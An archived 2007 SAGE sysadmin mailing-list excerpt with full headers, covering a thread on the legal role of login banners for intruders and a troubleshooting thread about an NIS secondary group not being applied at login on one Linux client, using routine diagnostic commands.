X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 2:38 PM -0800 1/25/07, Trey Harris wrote:

>  (Speaking just of what I know of US law--I know that some of this differs
>  in parts of Europe.  And IANAL of course, but I took a few prelaw courses
>  in school...)

Fair enough.  As for the rest, well you might as well be speaking 
Greek, French, or some other foreign language -- whatever it is, it's 
over my head.

Just goes to show you how much "IANAL,BIAMTO" is worth these days.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Jan 25 15:50:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PNoElL027716
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 15:50:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PNoDS0027715
	for sage-members-0utGoign; Thu, 25 Jan 2007 15:50:13 -0800 (PST)
Received: from pobox.sfu.ca (pobox.sfu.ca [142.58.101.28])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PNnmdt027694
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:49:59 -0800 (PST)
Received: from fraser.sfu.ca (daemon@fraser.sfu.ca [142.58.101.25])
	by pobox.sfu.ca (8.13.6/8.13.5/SFU-6.0G) with ESMTP id l0PMoeOE014804
	for <sage-members@sage.org>; Thu, 25 Jan 2007 14:50:41 -0800 (PST)
Received: (from vanepp@localhost)
	by fraser.sfu.ca (8.12.11/8.12.3/SFU-6.0C) id l0PMoe3l029008
	for sage-members@sage.org; Thu, 25 Jan 2007 14:50:40 -0800 (PST)
Date: Thu, 25 Jan 2007 14:50:40 -0800
From: Peter Van Epp <vanepp@sfu.ca>
To: sage-members@sage.org
Subject: Re: [SAGE] MOTD & Legal Issues
Message-ID: <20070125225040.GB23421@sfu.ca>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by antibody.sfu.ca running antivirus scanner
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Thu, Jan 25, 2007 at 11:52:03AM -0800, Jason Dusek wrote:
> Hi All,
> 
> I'm curious about legal issues surrounding the Message of The Day on
> UNIX/Linux servers. I can remember reading somewhere that an inviting
> MOTD creates a legal loophole for intruders -- if they log in with
> stolen credentials and the machine says "Welcome!", then they may take
> that as permission to go about their dirty business.
> 
> -- 
> _jsn

	As I recall this whole topic started with a legal opinion (with the
advise that it was at the point only an opinion there was no known case law)
that there was a grey area in the laws at that point (which may of course 
have changed over the years) from the US Justice Department sometime in the 
early 90s (92/93 perhaps).  There was a CERT advisory at the time which said 
it is prudent to have a login banner (and gave suggested language). I expect 
the advisory is still in the CERT archive.

Peter Van Epp / Operations and Technical Support 
Simon Fraser University, Burnaby, B.C. Canada



From sage-members-owner@usenix.org Thu Jan 25 16:02:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q02mOx028423
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 16:02:49 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0Q02m27028422
	for sage-members-0utGoign; Thu, 25 Jan 2007 16:02:48 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q02ee4028415
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 16:02:40 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0Q02emG028414
	for sage-members@usenix.org; Thu, 25 Jan 2007 16:02:40 -0800 (PST)
Received: from haus.nakedape.cc (haus.nakedape.cc [63.105.18.11])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLSttW015941
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 13:29:05 -0800 (PST)
Received: from localhost (vidar.nakedape.cc [192.168.1.11])
	by localhost.nakedape.priv (Naked Ape Mail Server) with ESMTP id
	12D613A690
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 13:28:55 -0800 (PST)
X-Virus-Scanned: by Naked Ape Mail Defender <http://naked-ape.com/r/md> at
	nakedape.cc
Received: from haus.nakedape.cc ([192.168.1.1])
	by localhost (vidar.nakedape.cc [192.168.1.11]) (amavisd-new,
	port 10024) with LMTP id qYTczpQRRZj2 for <sage-members@usenix.org>;
	Thu, 25 Jan 2007 13:28:51 -0800 (PST)
Received: from [192.168.110.10] (ods-fw-pat-qw.odshp.com [65.124.255.195])
	(using SSLv3 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by haus.nakedape.cc (Naked Ape Mail Server) with ESMTP id 795FA3A545
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 13:28:51 -0800 (PST)
Subject: Re: [SAGE] MOTD & Legal Issues
From: Wil Cooley <wcooley@nakedape.cc>
Reply-To: sage-members@sage.org
To: SAGE Members <sage-members@usenix.org>
In-Reply-To: <p06240501c1decdd5e80d@[10.0.1.12]>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<p06240502c1dec454adc4@[10.0.1.12]> <p06240501c1decdd5e80d@[10.0.1.12]>
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="=-ddTWiQUSvHxJBDre3wdY"
Organization: http://nakedape.cc
Date: Thu, 25 Jan 2007 13:28:50 -0800
Message-Id: <1169760530.26274.65.camel@willow.odshp.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-DCC-wuwien-Metrics: voyager 1290; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--=-ddTWiQUSvHxJBDre3wdY
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Thu, 2007-01-25 at 15:18 -0600, Brad Knowles wrote:

> However, nothing I've seen here says anything about login banners not=20
> being needed or not being useful.
>=20
> So far, everything I've found is talking about how certain specific=20
> language is too broad or not specific enough, and how to make it more=20
> narrow and therefore less likely to run roughshod over the rights of=20
> the users.

Well, that may be the case, and those are certainly more interesting
aspects, but part of the original question (to which I was responding)
was whether a welcoming banner could be used as a loophole for
intruders.  Nothing so far seems to indicate that; in fact, my
non-lawyerly reading of the documents you posted so far is that it is
used to inform users of their loss of rights when using the
system--non-intrusion is implicit.

Also, please don't put my address back into the CC: list; I expressly
set the reply-to to the list because I want it to go directly to the
mailbox for this list and not my INBOX.

Wil
--=20
Wil Cooley <wcooley@nakedape.cc>
http://nakedape.cc

--=-ddTWiQUSvHxJBDre3wdY
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQBFuSESJpn3uYWUEaoRAsCiAKCM/s3aMZcGOMSTe8gG0JaOmf482ACdE8cr
HJjFPNQ7JwgZoygoMoEznmQ=
=Qx+D
-----END PGP SIGNATURE-----

--=-ddTWiQUSvHxJBDre3wdY--


From sage-members-owner@usenix.org Thu Jan 25 16:03:12 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q03Acq028469
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 16:03:12 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0Q03AHu028468
	for sage-members-0utGoign; Thu, 25 Jan 2007 16:03:10 -0800 (PST)
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q038w1028456
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 16:03:08 -0800 (PST)
Received: (from jrl@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0Q037UA028453
	for sage-members@usenix.org; Thu, 25 Jan 2007 16:03:08 -0800 (PST)
Received: from haus.nakedape.cc (haus.nakedape.cc [63.105.18.11])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLYIio016143
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 13:34:24 -0800 (PST)
Received: from localhost (vidar.nakedape.cc [192.168.1.11])
	by localhost.nakedape.priv (Naked Ape Mail Server) with ESMTP id
	D7F363A6C2
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 13:34:17 -0800 (PST)
X-Virus-Scanned: by Naked Ape Mail Defender <http://naked-ape.com/r/md> at
	nakedape.cc
Received: from haus.nakedape.cc ([192.168.1.1])
	by localhost (vidar.nakedape.cc [192.168.1.11]) (amavisd-new,
	port 10024) with LMTP id jO4nCNNb+Csf for <sage-members@usenix.org>;
	Thu, 25 Jan 2007 13:34:14 -0800 (PST)
Received: from [192.168.110.10] (ods-fw-pat-qw.odshp.com [65.124.255.195])
	(using SSLv3 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by haus.nakedape.cc (Naked Ape Mail Server) with ESMTP id 3A0423A545
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 13:34:14 -0800 (PST)
Subject: Re: [SAGE] MOTD & Legal Issues
From: Wil Cooley <wcooley@nakedape.cc>
Reply-To: sage-members@sage.org
To: SAGE Members <sage-members@usenix.org>
In-Reply-To: <p06240502c1dec454adc4@[10.0.1.12]>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<p06240502c1dec454adc4@[10.0.1.12]>
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="=-/tz3qziEGeJvI1qWMPr/"
Organization: http://nakedape.cc
Date: Thu, 25 Jan 2007 13:34:13 -0800
Message-Id: <1169760853.26274.69.camel@willow.odshp.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


--=-/tz3qziEGeJvI1qWMPr/
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Thu, 2007-01-25 at 14:46 -0600, Brad Knowles wrote:
> At 12:08 PM -0800 1/25/07, Wil Cooley wrote:
>=20
> >  I, too, have heard that, but my suspicion is that it's a folktale told
> >  to scare executives.  Have there ever been any actual cases of that
> >  happening?  The closest analogy (which doesn't always inform law, nor =
is
> >  it necessarily convincing) would be a burglar arguing that a "Welcome"
> >  mat was an invitation to breaking and entering.
>=20
> Actually, there is the legitimate issue of trespassing, and the=20
> related concept of attractive nuisances.  For example, someone is not=20
> necessarily trespassing on your property unless you post an explicit=20
> "no trespassing" sign.  This also relates to "squatters rights".=20
> Even if you have a "no trespassing" sign up but you are not making=20
> any attempt to enforce it, then if people are essentially taking=20
> possession of the property in question and they have been doing so=20
> for a reasonable period of time, they can claim that they are now the=20
> rightful owners -- or at least that they have certain rights to=20
> certain aspects of that property, such as using it as a shortcut to=20
> get somewhere else, or just walking around on it.

IANAL, but I think there is a distinction between trespassing by walking
on someone's property and breaking and entering.  I don't think it's a
difficult argument to make that unauthorized use of a computer system
would be more like breaking and entering than trespassing.  Again,
that's argument by analogy, specious at best.

Wil
--=20
Wil Cooley <wcooley@nakedape.cc>
http://nakedape.cc

--=-/tz3qziEGeJvI1qWMPr/
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQBFuSJVJpn3uYWUEaoRAkNqAJ9Yh4WCBSCWum4S0/fkb5vXzj/+VACgmwIC
1OGDM5fssRr+T6NL477eC1s=
=vNvf
-----END PGP SIGNATURE-----

--=-/tz3qziEGeJvI1qWMPr/--


From sage-members-owner@usenix.org Thu Jan 25 20:01:56 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q41nwA005073
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 20:01:50 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0Q41nJw005072
	for sage-members-0utGoign; Thu, 25 Jan 2007 20:01:49 -0800 (PST)
Received: from mail3.panix.com (mail3.panix.com [166.84.1.74])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q41EFw005050
	for <sage-members@sage.org>; Thu, 25 Jan 2007 20:01:26 -0800 (PST)
Received: from mailspool2.panix.com (mailspool2.panix.com [166.84.1.79])
	by mail3.panix.com (Postfix) with ESMTP id 3CB3113A84B
	for <sage-members@sage.org>; Thu, 25 Jan 2007 23:01:08 -0500 (EST)
Received: from merctech.com (c-68-44-5-52.hsd1.pa.comcast.net [68.44.5.52])
	by mailspool2.panix.com (Postfix) with ESMTP id 369A944A722
	for <sage-members@sage.org>; Thu, 25 Jan 2007 23:01:04 -0500 (EST)
Received: from piquin (piquin [127.0.0.1])
	by merctech.com (8.13.7/8.13.6) with ESMTP id l0Q40AVX012680
	for <sage-members@sage.org>; Thu, 25 Jan 2007 23:00:10 -0500
X-Mailer: exmh version 2.7.2 01/07/2005 with nmh-1.1
To: sage-members@sage.org
Dcc: 
Subject: [SAGE] NIS secondary group not applied at login
Reply-To: bergman@merctech.com
From: bergman@merctech.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 25 Jan 2007 23:00:10 -0500
Message-ID: <12679.1169784010@piquin>
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=36%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I'm having a perplexing issue with NIS groups. I've created a new NIS group
named "matlab" on our NIS master, and populated the group with several user
names. The group is visible to all the NIS clients (I do not believe that this
is a problem with the NIS master or slave).

Logging into each NIS client except the server "pickle" correctly assigns users
to "matlab" as a secondary group. For just one NIS client, users only get their
primary (entry in /etc/passwd) group membership.  The server that's having the
problem does use NIS successfully for authentication, automount maps, UID<->
username and GID<->groupname mapping, etc.

The matlab group is correctly recognized on other servers in our NIS domain (Irix6.5,
RHEL4, Centos4, RH7.2, RH8, Solaris5.8).


---------------  EXAMPLE --------------------------------------------------
[bergman@piquin src]$ ssh pickle
	(begin new login session)
[bergman@pickle ~]$ id
uid=25100(bergman) gid=25000(sbiauser) groups=25000(sbiauser)
	(I'm not in the secondary group 110(matlab) as I should be)
[bergman@pickle ~]$ id -Gn -- bergman
bergman : sbiauser matlab
	(now that's odd...running id(1) and specifying my owner username
	claims that I am in the expected groups!) 
[bergman@pickle test_groups]$ which id
/usr/bin/id
[bergman@pickle test_groups]$ rpm -qf /usr/bin/id
coreutils-5.0-34.1
[bergman@pickle test_groups]$ cd
[bergman@pickle ~]$ which id
/usr/bin/id
[bergman@pickle ~]$ rpm -qf /usr/bin/id
coreutils-5.0-34.1
[bergman@pickle ~]$ uname -a
Linux pickle 2.4.26-openmosix1 #10 SMP Wed Sep 14 10:18:08 EDT 2005 i686 i686 i386 GNU/Linux
[bergman@pickle ~]$ cat /etc/issue
Fedora Core release 1 (Yarrow)
Kernel \r on an \m
[bergman@pickle ~]$  rpm -qa | egrep "nis|yp|shadow"
shadow-utils-4.0.3-12
ypbind-1.12-3
yp-tools-2.8-2
	(some irrelevent entries deleted)
[bergman@pickle ~]$
[bergman@pickle ~]$ su -
Password:
[root@pickle root]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
	(now I'm root...still not in the matlab group)
[root@pickle root]# su - bergman
	(change from root back to bergman)
[bergman@pickle ~]$ id
uid=25100(bergman) gid=25000(sbiauser) groups=25000(sbiauser),110(matlab)
	(more strangeness...now I'm in the groups as expected)
---------------------------------------------------------------------------

Things I've checked:

	the server "pickle" is binding to the correct NIS servers 

	no /etc/gshadow file exists on pickle

	nscd not running on pickle

	restarting ypbind has no effect
	
	user "bergman" is not in /etc/group or /etc/passwd on pickle
	(data is coming solely from NIS maps)

	there are fewer than 1024 characters in the matlab group entry

	The group name and GID are unique to the NIS map (ie., neither
	the name nor GID exists in /etc/group on any server)

	Testing YP services works correctly, and "bergman" is a member of the 
	group
	
		[bergman@pickle test_groups]$ ypmatch matlab group.byname
		matlab:*:110:larry,moe,curly,bergman
		[bergman@pickle test_groups]$ ypmatch 110 group.bygid
		matlab:*:110:larry,moe,curly,bergman
		[bergman@pickle] ypmatch bergman group.bymember
		bergman:110
			(as expected, group 110 is "matlab")
		[bergman@pickle] yptest -u bergman -m group.bymember
			(All tests passed)
	
	I can manually change to the "matlab" group:
		[bergman@pickle] newgrp matlab
	 		(succeeds, showing that: the group is recognized on the
			server, and that user "bergman" is a member)

	The problem isn't just cosmetic:
		[bergman@pickle ~] touch foo
		[bergman@pickle ~] chgrp matlab foo
		chgrp: changing group of `foo': Operation not permitted
			(not unexpected, since user "bergman" isn't in the group, but
			this demonstrates that the lack of group membership is real,
			not just a problem displaying the group name)
	
	It's not a problem for root, and GID to groupname lookups work:
		[root@pickle ~bergman] chgrp matlab foo
	 		(succeeds)
		[bergman@pickle ~] ls -l foo
		-rw-r--r--  1 bergman matlab 0 Jan 25 17:18 fo
			(expected, and shows that the server is correctly able to map
			GIDs to group names via an NIS lookup)
		
	
	The nsswitch.conf file is correct:
		[bergman@pickle ~] grep group /etc/nsswitch.conf
		group:      files nis
		
	
	/etc/group has no "+" entry (actually, the behavior is the same if the last
	line is "+:::" or "+")

	there are no blank lines in /etc/group or in the NIS group map
	

	there are no /etc/pam.d entries specific to group membership or NIS

Any suggestions for what I've overlooked? (Unfortunately, upgrading to less antique
OS release is NOT an option.)

-----
Mark Bergman    Biker, Rock Climber, Unix mechanic, IATSE #1 Stagehand

http://wwwkeys.pgp.net:11371/pks/lookup?op=get&search=bergman%40merctech.com

I want a newsgroup with a infinite S/N ratio! Now taking CFV on:
rec.motorcycles.stagehands.pet-bird-owners.pinballers.unix-supporters
15+ So Far--Want to join? Check out: http://www.panix.com/~bergman 



From sage-members-owner@usenix.org Thu Jan 25 20:49:55 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q4nmqZ006908
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 20:49:49 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0Q4nmFY006907
	for sage-members-0utGoign; Thu, 25 Jan 2007 20:49:48 -0800 (PST)
Received: from adsl-64-160-54-75.dsl.snfc21.pacbell.net
	(adsl-67-122-242-225.dsl.pltn13.pacbell.net [67.122.242.225])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q4nNKj006887
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Thu, 25 Jan 2007 20:49:33 -0800 (PST)
Received: from [192.168.72.2] (wizfast.rski.net [192.168.72.2])
	by adsl-64-160-54-75.dsl.snfc21.pacbell.net (8.12.8/8.12.8) with ESMTP
	id l0Q4nChx004591; Thu, 25 Jan 2007 20:49:12 -0800
Message-ID: <45B98848.6030008@chycoski.com>
Date: Thu, 25 Jan 2007 20:49:12 -0800
From: Richard Chycoski <rskiadmin@chycoski.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: bergman@merctech.com
CC: sage-members@sage.org
Subject: Re: [SAGE] NIS secondary group not applied at login
References: <12679.1169784010@piquin>
In-Reply-To: <12679.1169784010@piquin>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

- Have you rebooted lately?

- Are you running nscd? (If so, flush the group cache - "nscd -i group".)

- Check the configurations for PAM.

Since both the id command and su - <user> give you the correct groups, 
you may have a bad value cached somewhere or else PAM may be confused.

- Richard


bergman@merctech.com wrote:
> I'm having a perplexing issue with NIS groups. I've created a new NIS group
> named "matlab" on our NIS master, and populated the group with several user
> names. The group is visible to all the NIS clients (I do not believe that this
> is a problem with the NIS master or slave).
>
> Logging into each NIS client except the server "pickle" correctly assigns users
> to "matlab" as a secondary group. For just one NIS client, users only get their
> primary (entry in /etc/passwd) group membership.  The server that's having the
> problem does use NIS successfully for authentication, automount maps, UID<->
> username and GID<->groupname mapping, etc.
>
> The matlab group is correctly recognized on other servers in our NIS domain (Irix6.5,
> RHEL4, Centos4, RH7.2, RH8, Solaris5.8).
>
>
> ---------------  EXAMPLE --------------------------------------------------
> [bergman@piquin src]$ ssh pickle
> 	(begin new login session)
> [bergman@pickle ~]$ id
> uid=25100(bergman) gid=25000(sbiauser) groups=25000(sbiauser)
> 	(I'm not in the secondary group 110(matlab) as I should be)
> [bergman@pickle ~]$ id -Gn -- bergman
> bergman : sbiauser matlab
> 	(now that's odd...running id(1) and specifying my owner username
> 	claims that I am in the expected groups!) 
> [bergman@pickle test_groups]$ which id
> /usr/bin/id
> [bergman@pickle test_groups]$ rpm -qf /usr/bin/id
> coreutils-5.0-34.1
> [bergman@pickle test_groups]$ cd
> [bergman@pickle ~]$ which id
> /usr/bin/id
> [bergman@pickle ~]$ rpm -qf /usr/bin/id
> coreutils-5.0-34.1
> [bergman@pickle ~]$ uname -a
> Linux pickle 2.4.26-openmosix1 #10 SMP Wed Sep 14 10:18:08 EDT 2005 i686 i686 i386 GNU/Linux
> [bergman@pickle ~]$ cat /etc/issue
> Fedora Core release 1 (Yarrow)
> Kernel \r on an \m
> [bergman@pickle ~]$  rpm -qa | egrep "nis|yp|shadow"
> shadow-utils-4.0.3-12
> ypbind-1.12-3
> yp-tools-2.8-2
> 	(some irrelevent entries deleted)
> [bergman@pickle ~]$
> [bergman@pickle ~]$ su -
> Password:
> [root@pickle root]# id
> uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
> 	(now I'm root...still not in the matlab group)
> [root@pickle root]# su - bergman
> 	(change from root back to bergman)
> [bergman@pickle ~]$ id
> uid=25100(bergman) gid=25000(sbiauser) groups=25000(sbiauser),110(matlab)
> 	(more strangeness...now I'm in the groups as expected)
> ---------------------------------------------------------------------------
>
> Things I've checked:
>
> 	the server "pickle" is binding to the correct NIS servers 
>
> 	no /etc/gshadow file exists on pickle
>
> 	nscd not running on pickle
>
> 	restarting ypbind has no effect
> 	
> 	user "bergman" is not in /etc/group or /etc/passwd on pickle
> 	(data is coming solely from NIS maps)
>
> 	there are fewer than 1024 characters in the matlab group entry
>
> 	The group name and GID are unique to the NIS map (ie., neither
> 	the name nor GID exists in /etc/group on any server)
>
> 	Testing YP services works correctly, and "bergman" is a member of the 
> 	group
> 	
> 		[bergman@pickle test_groups]$ ypmatch matlab group.byname
> 		matlab:*:110:larry,moe,curly,bergman
> 		[bergman@pickle test_groups]$ ypmatch 110 group.bygid
> 		matlab:*:110:larry,moe,curly,bergman
> 		[bergman@pickle] ypmatch bergman group.bymember
> 		bergman:110
> 			(as expected, group 110 is "matlab")
> 		[bergman@pickle] yptest -u bergman -m group.bymember
> 			(All tests passed)
> 	
> 	I can manually change to the "matlab" group:
> 		[bergman@pickle] newgrp matlab
> 	 		(succeeds, showing that: the group is recognized on the
> 			server, and that user "bergman" is a member)
>
> 	The problem isn't just cosmetic:
> 		[bergman@pickle ~] touch foo
> 		[bergman@pickle ~] chgrp matlab foo
> 		chgrp: changing group of `foo': Operation not permitted
> 			(not unexpected, since user "bergman" isn't in the group, but
> 			this demonstrates that the lack of group membership is real,
> 			not just a problem displaying the group name)
> 	
> 	It's not a problem for root, and GID to groupname lookups work:
> 		[root@pickle ~bergman] chgrp matlab foo
> 	 		(succeeds)
> 		[bergman@pickle ~] ls -l foo
> 		-rw-r--r--  1 bergman matlab 0 Jan 25 17:18 fo
> 			(expected, and shows that the server is correctly able to map
> 			GIDs to group names via an NIS lookup)
> 		
> 	
> 	The nsswitch.conf file is correct:
> 		[bergman@pickle ~] grep group /etc/nsswitch.conf
> 		group:      files nis
> 		
> 	
> 	/etc/group has no "+" entry (actually, the behavior is the same if the last
> 	line is "+:::" or "+")
>
> 	there are no blank lines in /etc/group or in the NIS group map
> 	
>
> 	there are no /etc/pam.d entries specific to group membership or NIS
>
> Any suggestions for what I've overlooked? (Unfortunately, upgrading to less antique
> OS release is NOT an option.)
>
> -----
> Mark Bergman    Biker, Rock Climber, Unix mechanic, IATSE #1 Stagehand
>
> http://wwwkeys.pgp.net:11371/pks/lookup?op=get&search=bergman%40merctech.com
>
> I want a newsgroup with a infinite S/N ratio! Now taking CFV on:
> rec.motorcycles.stagehands.pet-bird-owners.pinballers.unix-supporters
> 15+ So Far--Want to join? Check out: http://www.panix.com/~bergman 
>   



From sage-members-owner@usenix.org Thu Jan 25 21:31:10 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q5V0nV008513
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 21:31:06 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0Q5V05X008512
	for sage-members-0utGoign; Thu, 25 Jan 2007 21:31:00 -0800 (PST)
Received: from mail.brownclan.org (mail.brownclan.org [198.49.126.120])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0Q5UfJc008497
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@sage.org>; Thu, 25 Jan 2007 21:30:51 -0800 (PST)
Received: from [192.168.20.26] (12-217-242-204.client.mchsi.com
	[12.217.242.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mail.brownclan.org (Postfix) with ESMTP id A983D46700;
	Thu, 25 Jan 2007 23:30:24 -0600 (CST)
Message-ID: <45B991EF.4000305@math.byu.edu>
Date: Thu, 25 Jan 2007 23:30:23 -0600
From: Hugh Brown <hugh@math.byu.edu>
User-Agent: Icedove 1.5.0.9 (X11/20061220)
MIME-Version: 1.0
To: bergman@merctech.com, sage-members@sage.org
Subject: Re: [SAGE] NIS secondary group not applied at login
References: <12679.1169784010@piquin>
In-Reply-To: <12679.1169784010@piquin>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

bergman@merctech.com wrote:
> I'm having a perplexing issue with NIS groups. I've created a new NIS group
> named "matlab" on our NIS master, and populated the group with several user
> names. The group is visible to all the NIS clients (I do not believe that this
> is a problem with the NIS master or slave).
> 
> Logging into each NIS client except the server "pickle" correctly assigns users
> to "matlab" as a secondary group. For just one NIS client, users only get their
> primary (entry in /etc/passwd) group membership.  The server that's having the
> problem does use NIS successfully for authentication, automount maps, UID<->
> username and GID<->groupname mapping, etc.
> 
> The matlab group is correctly recognized on other servers in our NIS domain (Irix6.5,
> RHEL4, Centos4, RH7.2, RH8, Solaris5.8).
> 
> 
> ---------------  EXAMPLE --------------------------------------------------
> [bergman@piquin src]$ ssh pickle
> 	(begin new login session)
> [bergman@pickle ~]$ id
> uid=25100(bergman) gid=25000(sbiauser) groups=25000(sbiauser)
> 	(I'm not in the secondary group 110(matlab) as I should be)
> [bergman@pickle ~]$ id -Gn -- bergman
> bergman : sbiauser matlab
> 	(now that's odd...running id(1) and specifying my owner username
> 	claims that I am in the expected groups!) 
> [bergman@pickle test_groups]$ which id
> /usr/bin/id
> [bergman@pickle test_groups]$ rpm -qf /usr/bin/id
> coreutils-5.0-34.1
> [bergman@pickle test_groups]$ cd
> [bergman@pickle ~]$ which id
> /usr/bin/id
> [bergman@pickle ~]$ rpm -qf /usr/bin/id
> coreutils-5.0-34.1
> [bergman@pickle ~]$ uname -a
